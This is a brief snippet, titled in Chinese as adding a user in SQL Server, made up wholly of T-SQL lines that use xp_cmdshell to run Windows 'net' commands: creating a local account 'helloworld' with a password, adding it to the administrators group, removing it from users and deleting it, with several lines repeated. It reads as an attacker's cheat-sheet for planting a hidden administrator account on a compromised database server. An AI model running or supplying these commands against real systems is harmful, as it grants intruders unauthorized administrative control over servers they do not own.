Sql Server添加用户
exec xp_cmdshell 'net user helloworld Hello!123456789 /add'
exec xp_cmdshell 'net localgroup administrators helloworld /add'
exec xp_cmdshell 'net localgroup users helloworld /delete'
exec xp_cmdshell 'net user helloworld /delete'
exec xp_cmdshell 'net localgroup administrators helloworld /add'
exec xp_cmdshell 'net localgroup users helloworld /delete'
exec xp_cmdshell 'net user helloworld /delete'
